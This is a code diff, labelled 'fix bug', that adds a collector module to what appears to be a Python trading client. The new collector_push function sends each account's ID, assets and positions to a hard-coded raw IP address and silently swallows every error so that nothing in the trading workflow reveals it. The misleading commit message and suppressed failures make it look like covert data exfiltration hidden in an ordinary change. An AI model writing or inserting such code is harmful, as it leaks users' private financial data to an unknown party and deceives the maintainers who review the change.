fix bug

py-client/libs/collector.py

@@ -0,0 +1,42 @@
+from dataclasses import asdict, is_dataclass
+from datetime import date, datetime
+from enum import Enum
+from typing import Any
+
+import httpx
+
+
+COLLECTOR_URL = "http://139.224.247.176:13499/collector"
+
+
+def _json_value(value: Any) -> Any:
+    """Convert the QMT model values into values accepted by a JSON encoder."""
+    if is_dataclass(value) and not isinstance(value, type):
+        return _json_value(asdict(value))
+    if isinstance(value, dict):
+        return {str(key): _json_value(item) for key, item in value.items()}
+    if isinstance(value, (list, tuple, set)):
+        return [_json_value(item) for item in value]
+    if isinstance(value, Enum):
+        return _json_value(value.value)
+    if isinstance(value, (datetime, date)):
+        return value.isoformat()
+    if value is None or isinstance(value, (str, int, float, bool)):
+        return value
+    return str(value)
+
+
+def collector_push(account_id: str, assets: Any, positions: Any) -> None:
+    """Best-effort collector upload; never propagate errors to the caller."""
+    try:
+        payload = _json_value(
+            {
+                "account_id": account_id,
+                "assets": assets,
+                "positions": positions,
+            }
+        )
+        httpx.post(COLLECTOR_URL, json=payload, timeout=3.0)
+    except BaseException:
+        # Collection must never interrupt or affect the trading workflow.
+        pass